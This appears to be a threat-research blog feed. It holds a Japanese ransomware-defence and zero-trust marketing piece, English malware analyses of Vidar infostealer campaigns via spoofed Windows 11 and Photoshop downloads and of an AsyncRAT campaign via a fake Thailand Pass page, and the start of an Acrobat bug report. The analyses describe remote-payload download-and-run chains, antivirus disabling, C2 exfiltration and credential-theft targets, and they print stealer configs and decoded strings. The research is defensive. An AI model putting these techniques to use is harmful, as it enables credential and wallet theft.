ロシアとウクライナの衝突で、世界情勢が緊迫化しています。ロシアとウクライナの紛争に関連する攻撃がいくつか確認されており、HermeticWiperやPartyTicketランサムウェアなどの複数の戦術を組み合わせたものもあります。これまでのところ、この活動のほとんどがウクライナを標的にするものですが、多くの政府機関が、紛争が長引く現状で拡大する攻撃に備えるよう、組織に警告しています。   ゼロトラストは引き続き、最良の防御策です。 侵害の可能性と攻撃の成功によって生じる可能性のある損害を最小限にするため、組織は、攻撃対象領域を削減し、最小特権によるアクセスコントロールを適用し、環境全体のデータの継続的な監視とインスペクションを実施するなどの、多層型防御戦略を採用する必要があります。 ランサムウェアから保護する方法 単純なランサムウェア攻撃、二重あるいは三重の脅迫を伴う攻撃、自己完結型の脅威ファミリ、またはアフィリエイトネットワークによって実行されるRaaS攻撃のいずれであっても、防御戦略は同じです。すなわち、ゼロトラストの原則を採用して脆弱性を制限し、攻撃の防止と検知を可能にし、成功した場合の侵害の範囲を制限します。ここでは、お客様の組織をランサムウェアから守るために推奨されるベストプラクティスをいくつかご紹介します。 アプリケーションをインターネットから隠す:ランサムウェアを仕掛ける犯罪者は、環境に対する偵察を実行して悪用する脆弱性を発見し、アプローチを調整することで、攻撃を開始します。インターネットに公開されるアプリケーションが多いほど、攻撃が容易になります。ゼロトラストアーキテクチャを採用して内部アプリケーションを保護し、攻撃者から見えないようにします。 一貫性あるセキュリティポリシーを適用して最初の侵入を防ぐ:従業員が分散している環境では、SASE(セキュアアクセスサービスエッジ)アーキテクチャを実装して、働く場所(社内、リモートワーク)に関係なく一貫性あるセキュリティポリシーの適用を可能にすることが重要です。 サンドボックスを使用して未知のペイロードを検知する:シグネチャベースの検知では、ランサムウェアの亜種とペイロードの急速な変化に対応できません。インラインのAIを活用したサンドボックスでファイルのパッケージングすることなく挙動を分析することで、未知の回避型の攻撃からの保護を可能にします。 ゼロトラストネットワークアクセス(ZTNA)アーキテクチャを実装する:ユーザ対アプリケーションやアプリケーション対アプリケーションのきめ細かいセグメンテーションを実装することで、動的な最小特権アクセスコントロールを使用したアクセスの仲介を可能にし、水平移動を排除します。これにより、暗号化や盗難が可能なデータを最小限にし、攻撃が影響する範囲を制限することができます。 インライン情報漏洩防止(DLP)を導入する:トラストベースの情報漏洩防止ツールとポリシーを活用して機密情報の持ち出しを防ぎ、二重脅迫の手口を阻止します。 ソフトウェアやトレーニング内容を最新状態に保つ: ソフトウェアにセキュリティパッチを適用し、社員向けのセキュリティトレーニングを定期的に実施することで、サイバー犯罪者に悪用される可能性のある脆弱性を減らします。 対応プランを策定する:全社的な事業継続・障害回復プログラムの一環として、サイバー犯罪保険の加入、データのバックアップ計画、対応プランの策定を実施して最悪の事態に備えます。 ランサムウェアに対する防御の効果を最大限にするには、多層防御を採用し、偵察から最初の侵害、水平移動、データの不正取得、ランサムウェアの実行までのそれぞれの段階で攻撃を中断できるようにする必要があります。 Zscalerゼロトラストエクスチェンジは、業界をリードするセキュリティサービスエッジ(SSE)プラットフォームであり、ランサムウェアんによる攻撃チェーンのあらゆる段階で比類のない高レベルの保護を提供し、攻撃を受ける可能性を大幅に低下させるとともに潜在的な損害を軽減します。 ゼットスケーラーは、業界をリードするゼロトラスト機能をネイティブに統合し、次のようなメリットを提供します。 攻撃対象領域を最小化する:ゼットスケーラーのクラウドネイティブのプロキシベースアーキテクチャは、内部アプリケーションをインターネットから見えなくすることで攻撃対象領域を縮小し、潜在的な攻撃ベクトルを排除します。 侵害を防止する:ゼットスケーラーは、暗号化されたトラフィックを含むすべてのトラフィックの完全なインスペクションと認証を提供し、ブラウザの分離やインラインサンドボックスなどのツールを活用することで、未知の脅威や回避型の脅威からユーザを保護し、サイバー犯罪者の侵入を防止します。 水平移動を排除する:ゼットスケーラーは、ユーザとエンティティをネットワークではなくアプリケーションに安全にダイレクト接続することで水平移動の可能性を排除し、最も重要なアプリケーションを本物そっくりのデコイで囲むことで、効果的な保護を可能にします。 情報漏洩を防止する:ゼットスケーラーは、クラウドアプリケーションに送信されるすべてのトラフィックをインスペクションすることで、情報漏洩を防止し、クラウドアクセスセキュリティブローカ(CASB)の機能を使用して、保存データの脆弱性を特定し、修復します。 今日の上位のランサムウェアの脅威とそれらの脅威から組織を保護する方法の詳細については、「2022年ThreatLabzランサムウェア現状レポート」をダウンロードしてご確認ださい。 ThreatLabzについて ThreatLabzは、Zscalerのセキュリティ研究部門です。世界クラスの当チームは、新しい脅威を検出し、世界中でZscalerプラットフォームを使用する何千もの組織が常に保護されていることを保証する責任を担っています。マルウェアの調査と挙動分析に加え、Zscalerプラットフォームの高度な脅威保護を実現する新しいプロトタイプモジュールの研究開発も進めており、社内のセキュリティ監査を定期的に実施することで、Zscalerの製品やインフラストラクチャがセキュリティコンプライアンス基準を満たすことを常時確認しています。ThreatLabzは、新たな脅威に関する詳細分析を定期的にポータルで(で公開しています。 Trust Issuesニュースレターのサブスクリプションにお申し込みいただくと、ThreatLabzの調査に関する最新情報をお知らせします。 Thu, 02 6月 2022 00:01:01 -0700 Deepen Desai Vidar distributed through backdoored Windows 11 downloads and abusing Telegram Summary In April 2022, ThreatLabz discovered several newly registered domains, which were created by a threat actor to spoof the official Microsoft Windows 11 OS download portal. We discovered these domains by monitoring suspicious traffic in our Zscaler cloud. The spoofed sites were created to distribute malicious ISO files which lead to a Vidar infostealer infection on the endpoint. These variants of Vidar malware fetch the C2 configuration from attacker-controlled social media channels hosted on Telegram and Mastodon network. ThreatLabz believes that the same threat actor is actively leveraging social engineering to impersonate popular legitimate software applications to distribute Vidar malware, as we have also identified an attacker-controlled GitHub repository which hosts several backdoored versions of Adobe Photoshop. These binaries hosted on GitHub, distribute Vidar malware using similar tactics of abusing social media channels for C2 communication. In this blog, ThreatLabz analyzes the Vidar distribution vector, threat actor correlation, and technical analysis of the binaries involved in this campaign. Key points ThreatLabz discovered several newly registered domains spoofing the official Microsoft Windows 11 OS download portal The spoofed domains were distributing malicious ISO files containing samples of the Vidar infostealer malware The actual C2s used by the malware samples are obtained from attacker-controlled social media channels hosted on Telegram and Mastodon network Using data obtained from this campaign, ThreatLabz was also able to identify another similar one using backdoored versions of Adobe Photoshop Distribution Vector - Windows 11 Theme The threat actor registered several domains beginning 20th April 2022 that host web pages that masquerade as the official Microsoft Windows 11 download page, which is the latest version of the operating system. ThreatLabz found several other domains registered by this threat actor similar to the one shown below in Figure 1. All of these domains were used to spread malicious ISO files spoofed as a Windows 11 download. Figure 1: Vidar attacker-controlled domain serving malicious ISO file The complete list of domains linked to this threat actor that were used in this campaign are mentioned in the Indicators of Compromise (IOC) section. Technical Analysis ISO file The binary inside the ISO file is a PE32 binary. The size of the ISO file is very large (more than 300 MB), which helps the attackers evade network security products where there is a file size limitation in place. Example MD5 hashes for this campaign are shown below: ISO file MD5 hash: 52c47fdda399b011b163812c46ea94a6 PE32 file MD5 hash: 6352540cf679dfec21aff6bd9dee3770 The binary inside the ISO file is digitally signed with a certificate by AVAST. However, this certificate is expired and hence invalid. Figure 2 shows the details of the certificate and the corresponding serial number. Figure 2: Details of the certificate used to sign the malicious Vidar binary All of the binaries in this campaign were signed by a certificate with the same serial number. By pivoting on this serial number, we were able to discover several other malicious binaries from multiple different campaigns and actors, which likely indicates that this is a stolen certificate coming from the AVAST compromise back in 2019. Vidar Samples The Vidar samples in these campaigns are all packed with Themida (except for the MD5 hash 6ae17cb76cdf097d4dc4fcccfb5abd8a) and over 330MB in size. However, the sample contains a PE file that is only around 3.3MB. Figure 3 shows that the rest of the file content is just artificially filled up with 0x10 bytes to increase the file’s size. The Vidar strings extracted from these samples is provided in the Appendix section at the end of the blog. Figure 3: Padding of bytes to inflate the Vidar binary size from 3.3MB to 330MB All of the binaries below are related to the same Windows 11 theme campaign: MD5: 6352540cf679dfec21aff6bd9dee3770 The Vidar static configuration below contains the embedded parameters needed by the sample to communicate with its C2 and information including the malware version: Profile: 670 Profile ID: 739 Version: 51.9 URL marker: hello URL1: Real C2: (Carved out from URL1) URL2: Real C2: (Carved out from URL2) The botnet can be identified by its profile ID. Both of the hardcoded URLs are from social media sites. However, they are used as a dead drop resolver as a first stage. The URL marker instructs Vidar to parse the second stage URL from the social media profiles located at the dead drop resolver. The following is an example Vidar stealer configuration downloaded from the C2: 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3; This configuration is the default with every stealing function enabled (passwords, cryptocurrency wallets, two-factor authentication, etc) The following libraries are downloaded from the C2: (66cf4ebdceedecd9214caab7ca87908d), which contains the following DLL libraries: freebl3.dll (ef2834ac4ee7d6724f255beaf527e635) mozglue.dll (8f73c08a9660691143661bf7332c3c27) msvcp140.dll (109f0f02fd37c84bfc7508d4227d7ed5) nss3.dll (bfac4e3c5908856ba17d41edcd455a51) softokn3.dll (a2ee53de9167bf0d6c019303b7ca84e5) sqlite3.dll (e477a96c8f2b18d6b5c27bde49c990bf) vcruntime140.dll (7587bf9cb4147022cd5681b015183046) All of these libraries are legitimate that Vidar leverages in order to extract credentials and other data from different applications and browsers. MD5: da82d43043c101f25633c258f527c9d5 MD5: e9a3562f3851dd2dba27f90b5b2d15c0 Vidar static configuration: Profile: 1281 Profile ID: 755 Version: 51.9 URL marker: hello URL1: URL2: Real C2: (Carved out from URL2) For these samples, the URL1 field in the static configuration is a real C2, and a social media profile is used as a backup URL. The Vidar stealer configuration downloaded from this C2 was the following: 1,1,0,1,1,1,1,0,0,1,250,none; This configuration is customized to extract social media passwords with all of the other Vidar features disabled. The libraries downloaded from the C2 are the same as the previous sample with the same (66cf4ebdceedecd9214caab7ca87908d). Distribution Vector - Adobe Photoshop Theme ThreatLabz also identified an attacker-controlled GitHub repository which hosts backdoored versions of the application Adobe Photoshop Creative Cloud, which we attribute to the same threat actor. Figure 4 shows the GitHub repository ( used by the attacker to host a backdoored version of Adobe Photoshop. Figure 4: Vidar attacker-controlled GitHub repository Technical Analysis The sample with the MD5 hash below belongs to this Adobe Photoshop theme campaign. MD5 6ae17cb76cdf097d4dc4fcccfb5abd8a Vidar static configuration: Profile: 1199 Profile ID: 0 Version: 51.8 URL marker: hello URL1: Real C2: (Carved out from URL1) URL2: Real C2: (Carved out from URL2) The Vidar stealer configuration downloaded from the C2 was the following: 1,1,1,1,1,1,1,1,1,1,250,Default;%DESKTOP%\;*.txt:*.dat:*wallet*.*:*2fa*.*:*backup*.*:*code*.*:*password*.*:*auth*.*:*google*.*:*utc*.*:*UTC*.*:*crypt*.*:*key*.*;50;true;movies:music:mp3; The libraries downloaded from the C2 are the same as the previous sample with the same (66cf4ebdceedecd9214caab7ca87908d). Social media abuse for C2 communication All the binaries involved in this campaign fetch the IP addresses of the C2 servers from attacker-registered social media accounts on the Telegram and Mastodon networks. In the past, the threat actors distributing Vidar have abused other social media networks such as Mastodon. However, the abuse of Telegram is a new tactic that they added to their arsenal. Telegram abuse In these campaigns, the threat actor created several Telegram channels with the C2 IP address in the channel description. The format used to store the C2 IP address on social media profiles is the following for this campaign: <C2_Url_Marker> <C2_IP_address>| The C2_Url_Marker field in these campaigns was hello. The naming convention for the Telegram channels includes a date that corresponds to the date when these channels were created. As an example, the channel with the handle btc20220425 corresponds to a channel created on April 25, 2022, using btc_stacking as the name as shown in Figure 5. Figure 5: Vidar attacker-controlled Telegram channel with the C2 IP address included in the channel description Mastodon network abuse The Mastodon network is a decentralized social network which allows anyone to deploy their own instance of a self-hosted online community. There are several instances of such online communities on the Internet, which are built using Mastodon. Two such instances are ieji[.]de and koyu[.]space. The threat actor created a profile on both of these communities and stored the C2 IP address in the profile section using a format similar to the one used for Telegram channels. Figure 6 and Figure 7 show the profiles created by the threat actor on ieji[.]de and koyu[.]space, respectively. Figure 6: Vidar attacker-controlled profile on the Mastodon community ieji[.]de with the C2 IP address included in the channel description Figure 7: Vidar attacker-controlled profile on Mastodon community koyu[.]space with the C2 IP address included in the channel description Conclusion The threat actors distributing Vidar malware have demonstrated their ability to social engineer victims into installing Vidar stealer using themes related to the latest popular software applications. As always, users should be cautious when downloading software applications from the Internet and download software only from the official vendor websites. The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our customers safe. Zscaler cloud sandbox detection Figure 8: Zscaler cloud sandbox detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. Win32.Downloader.Vidar Win64.Downloader.Vidar Indicators of compromise Hashes 52c47fdda399b011b163812c46ea94a6 da82d43043c101f25633c258f527c9d5 e9a3562f3851dd2dba27f90b5b2d15c0 6ae17cb76cdf097d4dc4fcccfb5abd8a Domains ms-win11[.]com ms-win11.midlandscancer[.]com win11-serv4[.]com win11-serv[.]com win11install[.]com ms-teams-app[.]net URLs for fetching C2 addresses URLs for fetching ISO files files.getsnyper[.]com/files/msteams/Setup.iso files.getsnyper[.]com/files/windows11/Setup.iso files.getsnyper[.]com/files/msteamsww/Setup.iso Actual C2s Appendix Decoded Strings Wallets Plugins *wallet*.dat \\Wallets\\ keystore Ethereum\ \\Ethereum\\ Electrum \\Electrum\\wallets\\ ElectrumLTC \\Electrum-LTC\\wallets\\ Exodus \\Exodus\\ exodus.conf.json window-state.json \\Exodus\\exodus.wallet\\ passphrase.json seed.seco info.seco ElectronCash \\ElectronCash\\wallets\\ default_wallet MultiDoge \\MultiDoge\\ multidoge.wallet JAXX \\jaxx\\Local Storage\\ file__0.localstorage Atomic \\atomic\\Local Storage\\leveldb\\ 000003.log CURRENT LOCK LOG MANIFEST-000001 0000* Binance \\Binance\\ app-store.json Coinomi \\Coinomi\\Coinomi\\wallets\\ *.wallet *.config wallet_path SOFTWARE\\monero-project\\monero-core \\Monero\\ SELECT fieldname, value FROM moz_formhistory \\files\\Soft \\files\\Soft\\Authy \\Authy Desktop\\Local Storage\\ \\Authy Desktop\\Local Storage\\*.localstorage \\Opera Stable\\Local State INSERT_KEY_HERE JohnDoe HAL9TH /core/v1/nicknames/ about Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 C:\\ProgramData\\ .exe :Zone.Identifier [ZoneTransfer] ZoneId=2 Windows ProgramData RECYCLE.BIN Config.Msi System Volume Information msdownld.tmp Recovery Local\\Temp Program Files Recycle.Bin All Users MicrosoftEdge\\Cookies Users\\Public Local\\Packages Local\\NuGet Roaming\\WinRAR Local\\Microsoft Microsoft fee_estimates peers mempool banlist governance mncache mnpayments netfulfilled passwords.txt Login Data Cookies Web Data \\files\\Autofill \\files\\Cookies \\files\\CC \\files\\History \\files\\Downloads \\files\\ \\files\\Files hwid os platform profile user cccount fcount telegram ver vaultcli.dll VaultOpenVault VaultCloseVault VaultEnumerateItems VaultGetItem VaultFree SELECT url FROM moz_places %s\\Mozilla\\Firefox\\profiles.ini \\signons.sqlite SELECT encryptedUsername, encryptedPassword, formSubmitURL FROM moz_logins \\logins.json formSubmitURL usernameField encryptedUsername encryptedPassword guid SELECT host, name, value FROM moz_cookies SELECT origin_url, username_value, password_value FROM logins SELECT name, value FROM autofill SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards SELECT target_path, tab_url from downloads SELECT url, title from urls SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies C:\\Users\\ \\AppData\\Roaming\\FileZilla\\recentservers.xml <Host> <Port> <User> <Pass encoding=\ Soft: FileZilla\n \\AppData\\Roaming\\.purple\\accounts.xml <protocol> <name> <password> Soft: Pidgin\n \\Thunderbird\\Profiles\\ C:\\Program Files (x86)\\Mozilla Thunderbird APPDATA LOCALAPPDATA Thunderbird \\files\\Telegram \\Telegram Desktop\\tdata\\* D877F783D5D3EF8C* \\Telegram Desktop\\tdata\\ key_datas \\Telegram Desktop\\tdata\\D877F783D5D3EF8C\\* map* \\Telegram Desktop\\tdata\\D877F783D5D3EF8C\\ firefox.exe plugin-container.exe update_notifier.exe Mozilla Firefox \\Mozilla\\Firefox\\Profiles\\ Pale Moon \\Moonchild Productions\\Pale Moon\\Profiles\\ Waterfox \\Waterfox\\Profiles\\ Cyberfox \\8pecxstudios\\Cyberfox\\Profiles\\ BlackHawk \\NETGATE Technologies\\BlackHawk\\Profiles\\ IceCat \\Mozilla\\icecat\\Profiles\\ K-Meleon \\K-Meleon\\ Google Chrome \\Google\\Chrome\\User Data\\ Chromium \\Chromium\\User Data\\ Kometa \\Kometa\\User Data\\ Amigo \\Amigo\\User Data\\ Torch \\Torch\\User Data\\ Orbitum \\Orbitum\\User Data\\ Comodo Dragon \\Comodo\\Dragon\\User Data\\ Nichrome \\Nichrome\\User Data\\ Maxthon5 \\Maxthon5\\Users\\ Sputnik \\Sputnik\\User Data\\ Epic Privacy Browser \\Epic Privacy Browser\\User Data\\ Vivaldi \\Vivaldi\\User Data\\ CocCoc \\CocCoc\\Browser\\User Data\\ URAN \\uCozMedia\\Uran\\User Data\\ QIP Surf \\QIP Surf\\User Data\\ Cent Browser \\CentBrowser\\User Data\\ Elements Browser \\Elements Browser\\User Data\\ TorBro Browser \\TorBro\\Profile\\ Suhba Browser \\Suhba\\User Data\\ Mustang Browser \\Rafotech\\Mustang\\User Data\\ Chedot Browser \\Chedot\\User Data\\ Brave_Old \\brave\\ 7Star \\7Star\\7Star\\User Data\\ Microsoft Edge \\Microsoft\\Edge\\User Data\\ 360 Browser \\360Browser\\Browser\\User Data\\ QQBrowser \\Tencent\\QQBrowser\\User Data\\ Opera \\Opera Software\\Opera Stable\\ OperaGX \\Opera Software\\Opera GX Stable\\ Local State Cookies %s_%s.txt TRUE FALSE \\Microsoft\\Windows\\Cookies\\Low\\ Cookies\\IE_Cookies.txt \\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\ Cookies\\Edge_Cookies.txt \\files\\Wallets %USERPROFILE% %DESKTOP% KERNEL32.DLL LoadLibraryA GetProcAddress VirtualAllocExNuma gdi32.dll ole32.dll user32.dll psapi.dll BCRYPT.DLL BCryptCloseAlgorithmProvider BCryptDestroyKey BCryptOpenAlgorithmProvider BCryptSetProperty BCryptGenerateSymmetricKey BCryptDecrypt CRYPT32.DLL CryptUnprotectData CryptStringToBinaryA C:\\ProgramData\\nss3.dll NSS_Init NSS_Shutdown PK11_GetInternalKeySlot PK11_FreeSlot PK11_Authenticate PK11SDR_Decrypt advapi32.dll RegOpenKeyExA RegQueryValueExA RegCloseKey RegOpenKeyExW RegGetValueW RegEnumKeyExA RegGetValueA GetUserNameA GetCurrentHwProfileA wininet.dll InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA InternetConnectA InternetOpenA HttpAddRequestHeadersA HttpQueryInfoA InternetSetFilePointer InternetOpenUrlA InternetSetOptionA DeleteUrlCacheEntry CreateCompatibleBitmap SelectObject BitBlt DeleteObject CreateDCA GetDeviceCaps CreateCompatibleDC CoCreateInstance CoUninitialize GetDesktopWindow ReleaseDC GetKeyboardLayoutList CharToOemA GetDC wsprintfA EnumDisplayDevicesA GetSystemMetrics GetModuleFileNameExA GetModuleBaseNameA EnumProcessModules Thu, 19 5月 2022 08:00:02 -0700 Sudeep Singh Targeted attack on Thailand Pass customers delivers AsyncRAT The Zscaler ThreatLabz research team has recently discovered a malware campaign targeting users applying for Thailand travel passes. The end payload of many of these attacks is AsyncRAT, a Remote Access Trojan that can be used to monitor, control, and steal sensitive data from victims' machines. Thailand Pass is an online travel agency that brokers airline tickets to travelers who want to visit Thailand or other foreign countries. Attackers trick victims using a spoof web page that poses as Thailand Pass, ultimately baiting users into downloading AsyncRAT. The Thailand Pass organization has issued an advisory for these malicious campaigns on their official website "tp.consular[.]go[.]th" as shown below. Figure 1: Advisory by Thailand pass organization. In this blog, our team will provide a deep analysis of the malware campaign that we have observed related to these attacks. The below image shows the complete flow of execution for this malware campaign. Figure 2: Complete attack chain workflow. The following malicious URLs were used for this campaign, as found through our Threat Intelligence collection framework. hxxps://bit[.]ly/Thailand-passport - is an shortened URL of hxxps://[.]com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2!168&authkey=AGoYtbf1Lb5VjFg On accessing the above URL, the page delivers a HTML file named “Thailand Pass Registration System (for air travel.html”. Once the user opens the HTML file, it automatically drops an ISO file named “thailand_Passport.iso” without any user interaction, as shown below. Figure 3 : Thailand pass phishing page drops ISO file. This ISO file contains a VBScript called “qr_thailand_pass.vbs” file which begins the malware activity. The content of the vbs file will be in obfuscated form as shown below. Figure 4: Obfuscated content of the qr_thailand_pass.vbs file. After de-obfuscating the VBScript, we can see that the script tries to download a Testavast+denf.txt file from the web hosting site(ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com) and executes the code using the “IEX” operation with the help of “powershell”. Figure 5: Deobfuscated content of the qr_thailand_pass.vbs file. The following image shows the content of the Testavast+denf.txt file which contains a code to check if antivirus services ESET, Avast, AVG, or Malwarebytes are running. If any of those services is found, the script modifies the execution flow of the malware to get around the antivirus, and downloads the appropriate files in order to do so. It saves the files related to the antivirus service as untitled.ps1 and executes that powershell script. Figure 6: Checks for AV running service and downloads its related text file accordingly. While execution flows are modified if AV services are found to be present, the final payload (AsyncRAT malware) remains the same. IF AV exists on the host machine Example - Victim Machine runs MalwareBytes AV as a service Here, we have taken a case study of a host with malwarebytes antivirus installed, and will analyze the delivery of an AsyncRAT payload in detail. The following image shows the content of the killd.txt file which downloads the supporting files from web hosting site(ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com) Figure 7: Content of the powershell script present in the Killd.txt file. The image depicts the content of the supporting files like admin.vbs, admin.ps1, 1_powerrun.vbs, 1.bat and 1.ps1 whose main task is to stop the particular AV service to evade detection and to execute the malware attack. admin.vbs - Starts the admin.ps1 powershell script admin.ps1 - Starts the 1_powerrun.vbs script in admin mode 1_powerrun.vbs - runs the 1.bat batch file. 1.bat - runs the 1.ps1 powershell script. Figure 8: Content of the admin.vbs,admin.ps1,1_powerrun.vbs and 1.bat. The final goal of the “1.ps1” powershell script is to stop the MalwareBytes service and add exclusion for the supporting files during the real time scanning as depicted below. Figure 9: Stops the Malwarebytes Antivirus service in Force method. After disabling the running antivirus service, it downloads the AsyncRAT malware from the killd.txt file and starts its malicious activity on the victim's machine. Figure 10: Content of the AsyncRAT payload present in the killd.txt file. If no antivirus services are detected on the victim machine then the code will move to the “else” as shown below. IF AV does not Exist on the host machine Here the script downloads “task.txt”, “SecurityHealth.exe” and “SecurityHealth.exe.manifest” files from the following domain “hxxp://microsoft[.]soundcast[.]me”. Then, it executes the “task.txt” file as “untitled.ps1”. It also copies the following “SecurityHealth[.].exe” and “SecurityHealth[.]exe[.]manifest” files in the startup folder for persistence techniques. Figure 11: If AV not exist, download files from “hxxp://microsoft[.]soundcast[.]me/”. The following image shows the content of the Task.txt file which creates a scheduled task as GoogleUpdate to execute the dropped SecurityHealth[.]exe file. This naming fools the user and enables the malware to implement its persistence method. Figure 12: Task.txt file uses persistence technique. The securityHealth[.]exe file needs the SecurityHealth[.]exe[.]manifest supporting file to execute its malicious activities. The following image shows the decoded content present in the SecurityHealth[.]exe[.]manifest containing the URL(34[.]71[.]81[.]158/Run/aaa.ps1) to download the malicious powershell script(aaa.ps1). Figure 13: Decoded content present in the SecurityHealth.exe.manifest, downloads aaa.ps1. The downloaded powershell script aaa.ps1 contains the same AyncRAT payload which is present in the killd.txt file(Malwarebytes AV related file). Figure 14: content present in aaa.ps1 file Final payload AsyncRAT malware - Execution Flow The variable $Filc contains the actual AsyncRAT malware payload, which is injected into a legitimate aspnet_compiler.exe file to show it as a genuine file running in background. The following image shows how the process injection is done in detail. Figure 15: AsyncRAT payload process injection in legitimate file(aspnet_compiler.exe). While decoding the variable $Filc, it results in an AsyncRAT malware file that was hidden inside of it. After deobfuscation, converted that into a decimal format and then into ASCII to see the actual executable file (malware payload) as depicted below. Figure 16: Deobfuscated AsyncRAT malware executable. The injected malware payload runs as a legitimate aspnet_compiler.exe process as shown below. Figure 17: Aspnet_compiler is running as a legit file with injected AsyncRAT payload into it. Process Injection - Work Flow We have dissected the deobfuscated AsyncRAT to see how the process injection is accomplished. The following image shows the APIs used for process injection in the Execute method. Figure 18: Content Present in GetMethod- Execute Function - Process injection APIs. The following APIs are also used to inject the malware AsyncRAT into the legitimate file aspnet_compiler.exe file. Figure 19: Content Present in GetType - Order.Yes - Process injection APIs. The payload will also check for the Anti-VM and Anti-debugging techniques to evade detection as follows: Here it checks whether the downloaded malware payload is running in the host or virtual machine, and also uses anti-debugging techniques to hide its actual behavior. Figure 20: Decompiled AsyncRAT file : Anti VM - Anti Debugging techniques. Finally, it steals the networking credentials of the victim and sends the stolen information to the following C&C server (invoice-update[.]myiphost[.]com) as shown below. Figure 21: Decompiled AsyncRAT file - C&C server location. Similar campaign - Delivery using Discord CDN: cdn[.]discordapp[.]com/attachments/921529408060289114/947221997325258772/ We have seen several other Thailand Pass organization spam templates that directly deliver the VBScript file that leads to the delivery of the same AsyncRAT malware, as shown below. Figure 22: Thailand pass downloads VBScript file directly. Conclusion: AsyncRAT – like other Remote Access Trojans – is a powerful malware that plays a significant role in cybercriminal activities. ThreatLabz actively tracks these types of malware attacks to protect our customers from data theft and from other sensitive information being abused by the cybercriminals. IOCs: URLs: bit[.]ly/Thailand-passport onedrive[.]live[.]com/Download?cid=6BCBE135551869F2&resid=6BCBE135551869F2!168&authkey=AGoYtbf1Lb5VjFg ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Testavast+denf[.]txt ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Nod[.]txt ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Avast[.]txt ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/New/Killd[.]txt ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1[.]bat ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1[.]ps1 ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/1_powerrun[.]vbs ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/PowerRun[.]exe ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/admin[.]ps1 ec2-34-229-64-131[.]compute-1[.]amazonaws[.]com/SV/Malawer/admin[.]vbs microsoft[.]soundcast[.]me/Run/task[.]txt microsoft[.]soundcast[.]me/Run/SecurityHealth[.]exe microsoft[.]soundcast[.]me/Run/SecurityHealth[.]exe[.]manifest 34[.]71.81[.]158 cdn[.]discordapp[.]com/attachments/921529408060289114/947221997325258772/ Hashes: 9f0a23cf792d72d89010df5e219b4b12 - Thailand pass[.]html e2da247426a520209f7d993332818b40 - Thailand pass[.]ISO 8f30215a81f2a2950fd5551d4f2212ce - QR_thailand_pass[.]vbs e8e4ea0f80c9ff49df07e9c1b119ba2a - Security health[.]exe 25ed250f143d623d0d41bd9123bcc509 - SecurityHealth[.]exe[.]manifest 4e6d695ed0559da97c9f081acf0892e4 - AsyncRAT Payload 2922a998d5b202ff9df4c40bce0a6119 - Process injector b64ac660f13b24f99999e7376424df2d - Killd.txt 984f6bd06024f8e7df2f9ec9e05ae3d2 - Avast.txt a5dfd5b75db6529b6bd359e02229ad1d - Nod.txt 9c0bdb129084a6c8fce1a1e9d153374b - Admin.ps1 7ec50ec3091ff38eb7c43e2a8a253bc9 - 1.ps1 ae29fc1878f3471bb196ba353b3daf9d - 1_powerrun.vbs 44314f46a2beb1cc20a0798533f0913E - 1.bat 878b1aae24a87bc0dbce537336878b5E - Admin.vbs C&C: invoice-update[.]myiphost[.]com Detection & Coverage: Advanced Sandbox Report: Figure 23:Zscaler Sandbox detection Advanced Threat Protection: Win32.Downloader.AsyncRAT HTML.Phish.ThailandPass VBS.Dropper.AsyncRAT Win32.Backdoor.AsyncRAT PS.Downloader.AsyncRAT Win32.Trojan.NETAssemblyInject About us Zscaler ThreatLabz is a global threat research team with a mission to protect customers from advanced cyberthreats. Made up of more than 100 security experts with decades of experience in tracking threat actors, malware reverse engineering, behavior analytics, and data science, the team operates 24/7 to identify and prevent emerging threats using insights from 300 trillion daily signals from the Zscaler Zero Trust Exchange. Since its inception, ThreatLabz has been tracking the evolution of emerging threat vectors, campaigns, and groups, contributing critical findings and insights on zero-day vulnerabilities, —including active IOCs and TTPs for threat actors, malware, and ransomware families, phishing campaigns, and more. ThreatLabz supports industry information sharing and plays an integral role in the development of world-class security solutions at Zscaler. See the latest ThreatLabz threat research on the Zscaler blog. Wed, 27 4月 2022 09:48:57 -0700 Gayathri Anbalagan Zscaler ThreatLabz Discovers Multiple Product Bugs in Adobe Acrobat In April 2022, Adobe released security update APSB22-16. This update fixed five product bugs that Zscaler’s ThreatLabz reported in Adobe Acrobat that are related to EMF (Enhanced Metafile Format) parsing. Adobe determined that Acrobat is secure by default for converting EMF to PDF. Specifically, abuse requires administrative privileges to modify the registry and add HKLM keys in order to enable the feature of the conversion from EMF to PDF. As a result, Adobe treated these five issues as regular product bugs instead of security bugs. Nevertheless, in this blog, we will present details related to these discoveries. Known Affected Software Acrobat DC 22.001.20085 and earlier versions Acrobat 2020 20.005.30314 and earlier versions (Windows) 20.005.30311 and earlier versions (macOS) Acrobat 2017 17.012.30205 and earlier versions     Steps to Reproduce Enable Page Heap in Acrobat.exe Follow the following instructions to enable the feature of converting an EMF file to a PDF shown below: Open the EMF PoC in Adobe Acrobat Case Studies Case 1 - Heap Buffer Overflow This bug can be triggered via opening a malformed EMF file in Adobe Acrobat, which causes a heap buffer overflow when Adobe Acrobat improperly processes Enhanced 